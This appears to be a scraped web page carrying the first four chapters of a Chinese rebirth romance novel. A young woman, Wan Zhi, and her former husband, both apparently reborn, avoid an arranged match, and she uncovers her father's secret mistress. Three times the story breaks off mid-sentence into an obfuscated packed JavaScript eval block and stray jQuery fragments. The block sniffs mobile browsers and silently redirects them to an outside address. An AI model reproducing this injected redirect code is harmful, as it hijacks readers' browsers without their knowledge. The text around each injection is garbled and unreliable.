《妧枝(重生)》
1. 第 1 章
东林寺桃花盛开,香火鼎盛,素来以菩萨显灵闻名,引信众纷沓而至,在此结缘。
风吹花落,打在立在庭中的窈窕娇影肩上。
背后传来婢女焦急的声音,“女郎怎么还在此?主母跟郎主都在观音殿前等着呢,女郎赶紧随奴过去吧。”
被找到的年轻女子充耳不闻,只一昧地凝望着树上的桃花。
直到察觉到婢女试探的伸出手想要拉走她,方才开口:“我的荷包丢了。”
娇嫩的嗓音响起,婢女微微一愣,“女郎的荷包,是在何处丢的?”
“就在这附近吧,再问就记不清了。”
“那……奴先送女郎去观音殿,等上完香再来帮女郎找荷包。”
“怕是不可,荷包里有钱财还有其他重要的物什,我担心会被人捡走了,不找到它,我是不会去观音殿的。”
婢女惊呆,望着眼前轻描淡写说着话的女子,第一次觉得陌生。
女郎什么时候变得这么不好讲话了?
观音殿的院子里,主家早早吩咐过,一定要带女郎过去上香,因为今日是郎主与濉安王约定好,为两家儿女相看的日子。
若是女郎不去,那还如何相看啊?
回应她的,是女子从容且清冷的嗓音:“找荷包吧,找到了再去也不迟。”
观音院。
妧家的主君面色不虞,身旁的主母向另外一道身影尊贵的妇人陪着笑,尴尬道:“枝儿不是不晓事理的女娘,我已经派人去请了,她定然是因什么事给耽误了,还请王妃莫要见怪。”
濉安王妃尚未表态,妧家的主君便朝下属吩咐,“去瞧瞧女郎怎么了,把人带过来。”
“王爷王妃在此,她岂可失礼放肆。”
妧嵘发完话,濉安王与王妃的脸色稍霁,王妃宽慰道:“女儿家私事多,会有耽搁倒也正常,无需着急的。再说,榷安不是也还没来呢。”
此话像是提醒了濉安王。
他看着空荡的位置,拧着眉如妧嵘一样,对下人交代下去,“大郎呢?人在何处,让他快些过来。”
“别误了正事。”
下人领命去办,却如同凑巧般,回来复命,面露难色,“王爷,大郎君他,有事来不成了。”
气氛顷刻僵冷下来。
淮安王夫妇、妧家夫妻无声纳闷。
世上竟有这样的巧合,能让两边都临时出了岔子?
远在观音殿附近的佛堂,一个男子身边的小厮正在请求,“大郎君,今日不是说好,随同王爷王妃入殿上香吗?”
“观音殿就在后边,大郎君还是听话,去尽一尽孝心吧,否则等到归府,两位也会罚小人的啊。”
被请求的男子面无表情,一身清贵,却定力极好,在被求得不耐时,也不过是眉头微拧了下,冷淡地横瞥了小厮一眼,视若罔闻。
“我有要事,今日的香,不上了。”
“别啊,大郎君?”小厮苦求不得,只能眼睁睁看着甩下一句话的男子身影出去。
濉安王府与侍郎妧家欲要结亲,打定主意在东林寺想让两个小辈先见上一面,看看彼此相不相配,却结果,一个两个都不那么凑巧。
观音殿,两家人的颜色已经变得很不好。
气氛也因双方子女来不了而渐渐古怪冷凝,“今日,我看不如就这样吧。”
濉安王妃等不到人,代为开口。
时局已定,再等下去也无用,说不得就是双方没有缘分,不受上天待见才有这么一出。
妧家主君向濉安王赔罪道:“小女无状,回去后定然好生教训,让她再到王府请罪。”
妧家主母同样对着濉安王、王妃赔笑,二人表露得和和气气,却只字不提他们这边也出了岔子,“无妨,原也没有定下来,只是想小辈们相识一番。”
“奈何缘分尚浅,今日就这般作罢,各自回去吧。”
濉安王稍作表态,孤傲冷淡地带上家眷,从此处离开。
剩下妧家的人还在原处,等到旁人走空,方才出声埋怨,“妧枝呢?到底怎么回事,说好的议亲,她竟敢这样失礼?”
“还不快把人给我找来,为父非要罚她不可!”
人未至,已闻一顿恶骂。
在哭哭啼啼,自觉劝不动自家女郎,闯了祸的婢女的跟随下,方才硬要找回自己荷包的年轻女娘从另一条路上出现,立定在不远处的廊檐下。
神色秀美,面容疏淡,眼睛乌黑,凝视着观音殿前等待的父母。
从前,她就是这样听了父母的话,乖顺无比没有丝毫反抗的与人成就了今日的相看之事。
可惜所嫁非良人,母亲懦弱无能,父亲横行霸道,一言为定,妧枝没有丝毫拒绝的机会。
这才让她年纪轻轻入了王府的门,却守了最难熬的活寡。
丈夫不仅不爱重她,还恨她,洞房花烛迎来的是一碗避子汤,此后变成惯例,日子如履薄冰。
到死妧枝都没有怀过自己的孩子。
而因她膝下无子,家中还曾提出让丈夫过继别人的孩子来养。
此话一出,第二年就有咿咿呀呀的婴孩跑来她跟前,抱着她的腿叫娘。
可笑妧枝又不是不能生,而是有人不愿意让她生。
却更愿意抱来心上人的儿子给她养。
就这样度过难以下咽的上一世,如今能有再重来一次的机会,妧枝断不可能再听从父母之命,葬送自己轻薄的一生了。
白玉般清透又无暇的脸庞在廊檐下静静伫立,对那些刺耳的谩骂无动于衷。
直到正在承受丈夫苛责教训的妇人,羞愧难当,眼神一扫,忽然发现了她。
妧嵘也因妻子的动作瞧见了女儿的身影,愣怔一瞬,倏地提步快速朝妧枝的方向走来。
脚程伴随风速,抬手便是要朝跟前耽误了大好时机的女子扇过去。
却在掌风即将贴上她的脸庞时,连带妧嵘自己都呆住了。
在他面前,一双处变不惊的眼珠正麻木且清冷的盯着他,未有丝毫躲闪之意。
那明明是一双黑白分明,如桃花瓣般好看的美目,却无端让他起了一丝寒意,叫妧嵘不敢对她随意下手。
“你。”
眼前的女子身躯纤细而单薄,举手投足都呈现出一丝稳定的态度。
作为女儿,妧枝朝突然下不了手的妧嵘行礼,“阿母。”
她同他背后匆匆赶来的人道。
再四目相对,淡淡唤了一声,“阿父。”
此时已经失了先机,有心想要教训女儿的妧嵘只疑惑,怎么不到一日之间,妧枝就变成这样的性子。
全然不似以往,双目灼灼,如同烈女。
为今只有冷冰的一片,凉薄之意。
妧嵘:“你还好意思叫我?别再唤我阿父,我没有你这样的女儿,日前你阿母是如何交代你的?”
“说了今日东林寺之行,事关你的婚姻大事……你呢?!为何要怠慢王爷王妃,做什么去了?”
妧枝:“荷包丢了。”
“寻了一阵。”
她面色过于镇定冷清,妧嵘一眼察觉出不妥,眯起眼睛严苛打量妧枝,“一个荷包,比你的婚姻大事还重要?比你阿父的信誉还要值
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075101|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钱?”
他警告道:“你让为父在王爷那里失了脸面,你记住了,哪怕你后悔不想攀这门亲,我也有的是法子把你嫁出去!”
“不是今日的王府,也会是其他门户,区区小伎俩,再敢毁亲事,我饶不了你!”
被搅了计划的妧嵘怒气冲天,顶着勃然大怒的脸从妧枝身边出去。
妧枝被撞了一下肩。
抬眸就看到背后露出双眼通红,委曲求全看着她的妇人,“阿母。”
妧家主母懦弱道:“大娘,你怎么可以坏了你阿父的好事。”
“不听话,不懂事。”
她摇头叹息,往日一惯会护着她听话的女儿这次却奇异的没有动静。
无动于衷,堪称冷情。
“为什么啊?”妧家主母问。
性格变得古怪的女郎依旧沉默不语。
问不出所以然的妧家主母感到失望地摇头,擦着眼泪往外走。
身段标致的女子在她身旁轻轻跟上。
一行人从观音殿里出去,相看不成,濉安王府的车马停在桃花林处,正准备离开。
妧家的下人追着主君而去,请求上马,却得不到理会,一路走远。
被抛下的妧家主母和女郎一个哭哭戚戚,一个视如不见。
在绕过花坛前一棵树时,有一对人影从旁边露出来,只一眼就能认出是谁。
妧家主母许是没见过对方,不知道树下说话的男子,就是今日催着她要见的王府子弟,商榷安。
余光一瞥,忍不住轻叹,“好相貌啊……好一对玉人。”
男子正与人交谈,面前是个女娇娘,瞧着气氛和悦,容不得别人打扰。
妧枝一笑,麻木的脸面多了丝嘲讽,些许灵动。
看来今日议不成亲,也不光有她一个人的手笔。
不知道这位是什么时候重生回来的?却懂得,避开与她相见。
前世,妧枝就是与商榷安被父母安排在寺院里相见,因她掉落了荷包,被商榷安捡到,因相谈了几句,就被大人们误会看对了眼。
于是做主定下了他们的婚姻,以至于令她深陷苦海。
而今妧枝重生一回来,自然就事先捡拾好荷包,宁愿不出朝晖堂,也不要与商榷安碰见。
只要他们俩一直相互避开彼此,就不会再像上辈子那样,令她受商榷安所害。
娶错妻,嫁错汉。
而他施予她的苦楚,她通通都会连本带利还回来。
“阿母,走了。”妧嵘不与他们同车。
妧枝与妧家主母要先回程,下人已经将车马赶过来了。
妧家主母还在看那对惊艳了她眼眸的璧人,听了女儿的话,回神。
下人扶持她上前蹬马车,女眷的动静惊扰了大树下另一旁的身影。
妧枝从花坛旁走出,对方抬起的眼眸子里就只觑见半道窈窕的影子,她着了一身白,头戴簪花,腕挽翠玉。
清丽得像菩萨身前侍奉的玉女,洁白无瑕。
唯独衣襟前的抹胸小衣,是掐尖一抹绿,菊瓣纤长如枝头上的新芽。
裙摆划出涟漪,绣鞋不沾迟疑。
“榷安阿兄,你在看什么?我们还要进去上香吗?”
“缘何不去呢?”墨色的眼眸收回略显疑惑的打量,宽慰跟前的人,“没什么,一时看错了眼,走吧,进去吧。”
仿佛不值得在意,桃花树下,上香的男女进殿上香。
东林巷里,归家的马车缓缓驶离此地,上辈子的两只不登对的鸳鸯,终究正本归原,拨乱反正,回到了两不相干的道路上。
2. 第 2 章
镶金釉彩的杯盏嘭的一声落地,随着茶汤四分五裂。
妧嵘的脸色铁青,阴鸷难看,指着堂屋正站着的妧枝以及她身后躲藏的身影怒骂道:“你不去王府赔罪?你焉能不去王府?你凭何不去?”
“看看你身后,你娘养的什么东西,娶妇娶贤,我却娶了个废物,生出这么个孽种!”
被妧枝挡着的,是年仅十三岁,一脸惊恐软弱的妧家的独子。
妧酨zài。
在妧嵘常年斥责打骂的苛待之下,已经养成了十分胆怯的性子。
母亲和阿姐被训,亦只能哆哆嗦嗦地躲在姐姐身后,如惊弓之鸟。
妧家主母平美君被丈夫嫌弃,惨遭羞辱已成常事,站在角落另一旁唉声抹泪,身旁还偎依着一个八岁的小女郎。
加上妧枝,妧家共有二女一子。
这样的家世本该多子多福,家和兴旺,但却因为东林寺为妧枝相看一事,未能达成所愿,让这家中更添了把火。
从寺里回来第三日,妧枝就称病不舒服,一直闭园不出,让想再度与濉安王府结亲的妧嵘忍无可忍。
直到今日借着教导妧酨的由头,对这独子开始打骂,要上家法,妹妹妧柔去搬救兵,这才惊动了长女。
“为父本以为你是个懂事的。”
“你阿弟是孬货,这辈子也不晓得能否为我妧家振兴门风,光宗耀祖,”妧嵘冷冷看着妧枝道:“你难道也要败坏家中名声,做那等不孝不悌的女子?”
目视中,妧枝已经明白妧嵘的心思。
“说来说去,看来父亲还是没断了攀高枝的心意,想让我嫁入王府。”
“养你们这么多年,也该知晓为家中分担些责任。”
妧嵘:“你阿弟诗文才学一样不通,等他成才要等到何年何月?如今他,我是靠不上了,你阿妹要不是年岁不合适,也可以把人选换成是她,不然也不会就只有你了。”
这明目张胆地威胁让妧枝回想到以前。
以前妧嵘亦是如此拿母亲撒气,拿兄弟阿妹来让她妥协。
上辈子妧枝自然很懂事,须得立起来,答应妧嵘提出的一切,才能保护好他们。
但如今,他便是一切灾难的来源,即使不答应,这辈子妧枝也能换种方式保护要保护的人。
何必拘泥一定要妥协?
妧枝:“我只登门赔罪,却保证不了王府那边是如何想的。”
妧嵘要的就是她这句话,瞬间脸色和悦起来,“这倒不必你多心,你只管随我上门拜访就是。”
妧嵘轻抚胡髯,“本就是两家相谈好的喜事,濉安王焉能不遵守约定。真若如此,我定要参他一本。”
他似运筹帷幄,早已胸有成竹。
妧枝面无喜色看着他笑里藏刀的样子,不发一语,随后妧嵘便要求她,“还不快收拾一番,今日就去。”
说时,还剜了角落里的妇人一眼,甩甩手无比嫌憎失望地从面前出去。
妧嵘走后,堂屋中就只剩平氏和妧氏三个兄弟姊妹。
妧枝让开,露出身后的妧酨,回头侧身一个一个逡巡打量他们。
母亲平氏在妧家向来没有话语权,以夫为天,被训后只会以头抢地,此刻也跟多年前的每一日,每一刻一样。
哀怨,胆怯,哭泣。
却从未想过站起来大声呵斥妧嵘一句。
妧酨触及长姐眼神,觉得那目光忽然像一把冷刀,让他心里发凉,“阿,阿姐?”
妧枝:“你都听到阿父说的话了吧?”
往日父亲为难,阿姐相救,都会安慰他一句,今日口风却不同以往了。
妧酨一愣,赶忙答应,“是,是是,我会改的,我会……”
妧枝:“你心里没觉得羞耻吗?”
妧酨脸色顿时煞白,难以置信望着妧枝。
平氏也停止哀泣,唯独最小的妧柔眼也不眨地盯着长姐。
妧枝:“从前阿父打你骂你,都是阿母、我替你担,妧嵘虽是个背信弃义之人,说你的话的确不是没有道理。妧酨,你还要躲在你母亲姊妹背后多久?若你想做个顶天立地的男子汉,就该清醒起来,让大家都瞧得起你。”
“别再叫妧柔来帮你搬救兵了,没有人可以护住你一辈子。”
让人惊诧的是妧枝竟然直呼父亲姓名。
震惊于她的胆大,妧酨失色地看着她,被刺激到嘴皮发抖,却回应不了一句。
妧枝亦不理会平氏作何想法,打断她想要为儿子说话的冲动,“我去收拾了。”
濉安王府。
书房内书卷散发着墨香,茶汤冒着热气,里面的人影立在书架跟前,对前来禀告的随从所提的事情,似乎充耳不闻。
“不见。”
“若是再提有关婚事的事,就说我出门会客去了。”
“妧府的人,一概不见。”
冷沉的嗓音落下命令后,青衣随从便恭敬地从书房内退出,回话去了。
宴客的厅堂里,笑声戛然而止。
濉安王没有大怒,神色镇定,俨然已经提前知道会是这样的结果。
只捻着茶盏,佯装不知,等待妧嵘的反应。
中书侍郎妧嵘方才的笑意彻底消散,表情垮塌下来,颇为冷凝,“大郎君这是何意?王爷,这难道也是您的意思?”
妧枝轻嘲地看着眼前这一幕,仿佛早已预料会这样。
若前世的丈夫也重生了,那么多了一次重来的机会的他,定然也不会重走老路。
商榷安定然会另娶心上人,而不是她。
今日登门拜访,因为这层缘由,妧枝才有恃无恐地随妧嵘做客。
濉安王放下茶盏,苦口婆心念着妧嵘的字,道:“不,英华啊,且听本王一言。”
“此子,你应当知晓,他刚被认回王府,心高气傲,对我们有怨。我原是想,他为本王长子,以前是不得已才将他过继了出去,是本王这个做父亲的亏待了他。”
“如今他回来了,理当好生弥补他,为他相看一门好亲事,选一位贤妻。”
妧嵘冷笑:“王爷的意思是,我家女郎,就不贤惠了?”
“不不……”濉安王说:“英华莫要误会,非是你家女郎不贤,而是我这长子,他脾性刚烈,我这几日方才对他有所了解。他的性情,实在不适合你家大娘,本王只会担心,你女会因此受伤啊。”
他眯眼朝妧枝遗憾地打量过来,眼前的女郎即便听见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075102|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
旁人议论她,依然面不改色,可见定力。
可惜了。
这般一瞧,妧嵘倒生养了个不错的女儿,只是商榷安那里的意思……
濉安王想到这个前几日,从东林寺回来,整个人都多了些许威势的长子。
他器宇轩昂,由于过继多年,早已失去最好教导他的机会,已经不是能由他摆布的孩子了,而是一个有自我意识,强势主张的成年郎君。
“妧家不宜结亲,”长子的话语犹如一道警钟萦绕在耳畔,“中书侍郎妧嵘,眼下虽是风光,暗中却喜好结党,已与贼子莫明丰有来往。为了一门安危,父亲最好慎重考虑这桩婚事。”
濉安王闻言一惊,“你又如何得知这道消息?”
长子道:“我自有我的方法,父亲只要知道我所言非虚即可,若是不信,也就罢了。”
结党乃是重罪,足以抄家,哪怕是从长子口中轻飘飘说出,濉安王也不敢轻视小看他。
这个儿子,足智多妖,当年过继出去,濉安王已经后悔了。
他后面所出的子嗣无一人能比得上商榷安,于是才在商榷安养父死后,又用了法子将人要回来,重新认祖归宗。
人是一表人才,心思深沉,读书上亦有造诣,而今归家不到一年,濉安王暂时还不想得罪他。
就当是为了父子情深,濉安王也要考虑商榷安说的话,站在他这一边。
装模作样地摇摇头,“英华啊……此事,讲究你情我愿,榷安这边,本王会再去劝劝他,但也不可一直耽误了你家大娘婚嫁。这样,给些时日,我继续劝说,你呢,亦可再为大娘相看其他人家。”
“若能另结新缘,本王便当那日许诺过的聘礼,当做为你家大娘添妆,如何啊?”
话中意思懂的都懂,不过是权宜之计。
本意还是推脱。
妧嵘似笑非笑起身,“看来大郎君与我家大娘是没有缘分了。”
妧枝也随着他站起来。
濉安王挽留,“英华,英华,还可以再议,喝碗茶汤再走。”
“告辞。”妧嵘视若罔闻,示意妧枝跟上。
父女二人离开的身影出现在一道幽邃的双眼前,濉安王看向打从屏风背后出现的来人,犹豫道:“你所言一切为真?得罪了妧嵘,他可是个心眼小的,不好相与。万一参我……”
“父亲没看我放在你书房桌上的信件?”
濉安王迟疑。
来人身旁的青衣随从就捧出一个盒子到濉安王面前。
待他将盒子里的书信打开,面色一变,“果真是妧嵘和莫明丰的字迹,好,有这一把柄,倒也不用担心他因此而报复。”
濉安王看完想将书信收起来,另外有一只手伸到他跟前。
骨节修长,且略带青筋,意图明朗。
是要将书信拿回去保管。
濉安王对上那双眼睛,商榷安不露声色凝睇着他,形成一种无声的威压。
“咳,”濉安王交还书信,为了不显就在这一刻,被这个长子的眼神给震慑住了,左顾而言他,“那妧家大娘,本王观她性情是个好的,你见都未见,就要驳了这门亲事……不如,还是跟人家相看一下?”
“……”
3. 第 3 章
王府里出来,上了马车,妧枝与妧嵘沉默以对。
相较于在妧家的慷慨激昂,妧嵘难得气焰熄灭,一脸复杂的沉思,濉安王为何会中途毁约。
“这不应该,他难道不担心我去圣人那里参他一本……”
妧嵘喃喃:“如此小人行径,还是当中多了什么变数?”
他猛然目视妧枝,两眼如炬,“他莫非见过你?还是你二人有龃龉……”
任由妧嵘揣测推断,更数度接近真相,妧枝都如事不关己,一脸冷漠。
直到妧嵘停下来,妧枝才道:“阿父是受濉安王的气,疯了,才说这些胡话么?”
“素不相识的人,何曾见过?”
妧嵘知道是自己推断“错了”,妧枝自小长在身边,见识不广,什么年轻郎君,要有接触,作为未婚女郎根本瞒不过大人耳目。
更不可能越过他,去认识濉安王的长子,还是被从小过继出去的儿子。
直到去年孝满,养父已死,方才被濉安王使尽手段认回来。
如此复杂的身份,妧枝不可能率先见过商榷安。
既然都不认识,那就说明,对方对这门亲事,不是对妧枝不满,而是对他们妧家整个都不愿意了。
妧嵘观测与他同乘一车的长女,匪夷所思道:“他若是见过你,就不该拒了这门亲。”
即便车中光线暗淡,妧枝的相貌姿容亦属上乘。
她的眼睛最有韵味,却变得清冷,似抹了寒霜,在料峭的春日里,是那么孤倨。
这样的女郎,任何男子都会为之倾倒征服。
妧枝只漠然看着他道:“阿父还未死心?”
妧嵘未曾马上做出回应,酝酿片刻,算计道:“本就是濉安王与我做好的约定,而今他们毁约,我怎能轻易就这么算了?”
好歹也是一位中书侍郎,不是三两句话就可以打发了。
妧枝今日登门,确定了商榷安的态度,他是真不想再娶她一回,妧枝同他一样,也不想嫁他。
却不妨碍给对方添些堵。
商榷安应当不知晓她也重生了,以为她还像上辈子那样,顺从家里安排要嫁进王府,这才摆出态度拒绝。
正好妧枝便不用担心对方承受不住压力而反悔。
亲事,肯定是不成的。
却能让妧嵘去恶心他,妧枝道:“这作派,的确有贬低阿父的意思。”
“也许在这家人的心里,妧家的分量也不过如此吧。”
妧嵘神情瞬间变了,“这事不会就这么过去,哪怕他是王子皇孙,都要给我一个合理的说法。”
妧枝不知道妧嵘打算怎么做,但只要他愿意找王府麻烦就是好的。
嫌隙越大,她与商榷安就越无可能。
马车停在中央御街,旁边就是待贤坊,上下左右皆是闹市,妧嵘理了理衣角准备起身。
妧枝:“阿父作何去?”
妧嵘:“你这女郎,倒管起为父来了。”
他摇摇头,“我去会友,商议此事该怎么办,你先回去,晚时我再归家。”
妧嵘下车,这般时候他倒一副慈父模样,吩咐马夫,“慢些赶路,送大娘回去。”
妧枝推开窗户,看着妧嵘的身影逐渐拉远,人倚在马车阴影里,漠然得如一座积灰多年的沉石雕像。
“停车。”
马夫惊讶回头。
车内年轻的女子威严深重,气势倒比当家主母还要凌厉,“我有东西落在王府大门口,你去帮我取来。”
“可主君吩咐……”
妧枝睇着马夫,“我会在延庆坊的胭脂铺等着,还不快去?”
“……是。”
等到妧枝下车,马夫调转车头,往濉安王府的方向去。
中央御街的角落马驿里,正在吆喝的伙计见到人来,即刻招呼,话音还未落下,就被来人掏钱的动作制止了。
“一辆轿子,送我去琴台巷。麻利些,要快。”
荷包里掏出的铜钱仿佛都透着香,一双玉手,不沾阳春,可窥娇贵。
轿子启动,坐在里头的妧枝慢慢安然下来,心也静了不少。
她知晓,妧嵘绝不可能在今日去会友,他只会赴别的约。
像这样“会友”的理由,上辈子妧嵘常拿出来用,事实上,是嘴上哄着她母亲平氏,见友人,实则是去另外一个家幽会别的妇人。
妧嵘上辈子将这妇人保护得很好,就连妧枝都不知道她是谁。
只查探到琴台巷某户人家,那时已经很晚了,等妧枝派人去寻,便只得到对方已经搬走的消息。
得知丈夫变心,在外面养了别宅妇,还经常携此妇人出现在亲朋好友面前,被大伙瞒着的平氏当日便气急攻心倒下了。
妧枝的阿弟妧酨难得硬气一回,去找父亲要个说法,却浑身是伤被打了回来。
又因是在冬夜,据下人说是没看清脚下,跌落了水。
此后不光身子,连脑子都不行了,没了神智,变成了傻子。
妧柔服侍在平氏身边,既要照顾阿母,又要看顾兄长,到了及笄的年岁旁的贵女都有三五好友,日常赏花赴宴,她却无人交往,还差点被人欺辱。
妧枝作为长姐早已嫁到王府,和商榷安貌合神离,又因多年无子,还有疑似外面的小野种跑来叫她阿母。
自己身上已是一堆烂摊子,还要兼顾家中母亲姊妹,一样一样处理,心交力瘁,很快就累倒了。
而妧嵘呢?
他不日就搬出家门,再也没回去过。
造成今日一切的罪魁祸首,妧枝觉得他比任何人都该罪当万死。
轻盈的轿子缓缓落在地上,抬轿的轿夫道:“女郎,琴台巷到了。”
濉安王府的大门外。
马夫驱着车抵达,跳下去围着王府外的两座石狮搜寻,彼时大门打开,两道身影从内里出来。
台下随从牵来坐骑,个高的上马随处一瞥,骤然觑见马夫,一览镇宅狮旁停留的马车。
是个眼熟的,妧家常用的出行工具。
青衣随从察觉郎君目光,机敏地走过去把人召到跟前,“什么人?停在我们王府门前做什么?”
马夫以示清白,恭敬道:“大人误会,不是歹人,小的是妧家府上的。”
“妧家?”青衣随从:“你家主君不是已经走了,为何还要派你回来?”
“不,不是主君,是我家女郎。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075103|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
马夫说完,枕戈便下意识看向大郎君,见大郎君沉默不语,便代为问道:“你家大娘子……有何贵干?”
大郎君都拒绝妧家这门亲事了,此时妧大娘子派人过来,难免有想要强攀高枝之嫌。
“女郎丢了东西,让小的回来一路找找。”
枕戈提起的心放下,似乎松了口气,“可找到了?”
马夫:“小的刚来……”
胯-下骏马打了个响,似有不耐,一身沉敛气的郎君稳坐马背上,开始收拢手中缰绳。
枕戈见状便知大郎君是要准备走了,于是快速翻身上马,同时告诉妧家的马夫,“好生找到你家女郎要的东西,切莫再丢了,也勿要——”
随着马蹄踏远,主仆二人身影消散,声音也渐弱了。
但马夫还是最后听清那位随从要说的,是勿要再来他们王府了。
“大郎君。”
枕戈策马跟着,同眼前身影出现在大街上。
渐渐道路更加宽广,行人众多,贫民百姓或是富家显贵都在体验闹中集市。
主仆逐步放慢跑马的速度,耳边喧嚣不断,却不影响交谈。
枕戈道:“郎君既已拒了妧家好意,那妧家女郎还着人寻什么东西,怕是醉翁之意不在酒,是想引起郎君注意吧?”
瞳孔中一片墨色的商榷安,目如点漆,如有促狭闪过,“那又如何。”
他回道:“左右不可能的事,遗憾不能如她所愿了。”
上辈子的妧枝,是妧嵘向上爬的敲门砖。
是向上进献,插在瓶里最能经受霜打的花。
这辈子的她还是那么听话,妧嵘让她到王府登门赔罪,她便来了,可见还是同前世性子一样。
没有重生,没有变化,她还是她。
马蹄穿过大街小巷,人影渐疏,枕戈护卫在旁,随意一扫,目光定在一处巷子里的方向,忽地出声,“大郎君,瞧,那好像是……妧家的大娘子……”
“那是琴台巷,多是卖身卖艺之人盘踞的住处,她怎会出现在……?”
深巷里,有一顶普通而不显眼的软轿。
两边人户的门好似后门,不多人走动,除了从里面走出来的妧家大娘子,就只有两个等候在一旁的轿夫。
墙上爬满绿藤,衬得那道独立在其中的身影格外曼妙。
闹中取静,仿若一幅画般。
漆黑俊眸凝了凝,眉头微蹙,似是不愿多加掺和进去,倏地夹紧马背,“走。”
枕戈回过神来,诧异轻呼,“郎君。”生怕落后被抛下,也不再多关注巷子里到底是出了什么事,策马跟上。
此生此世,能得此机会重生,万不可再重蹈覆辙了。
本不该与妧枝认识。
本不应该与妧枝成婚。
本就不相配的两个人,各走各路,各不侵扰方才是最好的。
琴台巷,对远处街道上的马蹄声浑不在意,根本不曾听闻。
立在墙下后门,透过里面莺声燕语,偷听到妧嵘回应的声音的妧枝,确认了此处就是他常来的销魂窝,笑了。
什么是世间真情呢?真情亦作假,不过是鬼说人话,人当真信了。
4. 第 4 章
马夫赶到延庆坊,胭脂铺里是做生意的地方,进出是客,等闲人不适合进入,于是只能在外让伙计递话,“我乃妧家仆人,女郎在你们店里歇脚,还请替我传个话,来接女郎归家了。”
伙计看了看马夫拿出的腰牌,确认了下,“且等着吧,贵娘子的确在里头,这就去请她出来。”
马夫这才松了口气,看来女郎的确来了这里。
延庆坊的胭脂铺,最大的这家名作登鹊楼。
绿色牌匾红色字,里头在闲散日子中客人都络绎不绝,人影绰绰,进进出出,很难辨认出里面是否还有空席,有哪些人在此。
贵人到了此处,也得摩肩擦踵。
伙计找到妧枝,她在楼上角落里坐着,很刁钻的一个位置,有花架遮挡,也不知从何处弄来的椅子,静坐着饮茶。
对面就是拥挤的一室看客,对镜簪花或抹脂敷粉,人来人往,她却娴雅地看着。
伙计来请也不慌不慌,抬起眉梢,嘴角带笑。
“妧娘子,铺子门前有个称是贵府马夫的家伙,来接您了。”
“知道了,我那挑好的香粉和首饰,都帮我一并包好送到马车上吧。”妧枝从容起身,并在茶桌上留下赏钱。
她身上好似镀了一层柔光,朦朦胧胧的,伙计一边护送她,一边看得出神,“是,是。”
妧家的宅子在上京中规中矩,并不算豪门阔府,此地不是本家,妧家二老还在南地敊shōu郡老宅里过日子。
曾经来过上京,但因年事已高,还是返乡落叶归根去了。
于是上京中的妧府,主子就只有主君主母,以及三位孩子。
府宅不大,胜在清幽,五脏六腑俱全,除了住处还有两三个可以造景插花种树的小院。
不过这些景色好的位置都紧着妧嵘先用,布置了他的书房,还有他与同僚或是好友吹捧宴客的居室。
轮到子女,其实能用的并不宽限。
妧枝为长,她一直有单独的住处,但自妧柔出生后,念在她迟早要出嫁,而妧柔最小,地方不够,便安置在妧枝的院子里。
是以对妧柔来说,长姐如半个母亲。
妧枝回了府,已是晌午。
平氏对她白日里对弟弟说的话,颇有些怨言,但她本性懦弱,不会责骂,只会态度和神情上对妧枝表达委屈哀怨。
“登鹊楼新上了些香粉,我挑了几盒味道雅致粉质细腻的,阿母看看。”
妧枝摸了摸妧柔头上的总角,语调最软,“阿柔也有的。”
平氏敢怒不敢言,妧枝从东林寺回来,人跟往日不一样了,说话带刺,敬重母亲,却连父亲妧嵘都敢直言。
这气势,是平氏没有的,她憋了许久,不看摆出来的东西,只道:“你,你今日不该那么对你弟弟。”
妧枝:“妧酨总要长大,阿母是愿意自家人去教,还是愿意看到阿弟在旁人手里吃苦?”
“那,那也不该那般说他……”
“阿母也该长大了。”
妧枝对面色微微一白的平氏道:“您总不能一辈子都挡在他跟前,帮他摆平一切。”
“微末之躯,萤火之辉,是驱不散黑暗的。”
“不提这些,阿母真的不看看我买来的香粉吗?我看上京近来的妇人,最近都用这款添了白芷的香粉,说是有白肤养颜之效。”
平氏下意识摸向自己的脸,她是敊郡人士,同乡中经家中长辈做媒,才嫁给妧嵘,虽然平庸,却替他操持整个家务,且生下二女一子。
她嫁的早,过了这么多年,容色早已衰败不如从前了。
丈夫待她冷淡多日,已经几年未曾同房了,又因唯一的儿子不争气,对她很是嫌憎。
“你这个月的月例……”平氏在妧枝把一盒香粉放到她手上时问:“登鹊楼的东西不菲,挑这些可都花光了。”
她拿出荷包,正要补贴女儿。
妧枝:“不曾花家里的月例,我绣工不错,日前绣的芳华图卖了不少钱。”
妧嵘食朝堂俸禄,他的待遇不差,养一家子绰绰有余,但是同样花销也大,笔墨是不能比同僚差的,衣着出行更要符合他文臣的身份。
作为家眷,不能给他丢脸,平氏等人的吃穿虽谈不上十分华贵,却也是中等人家。
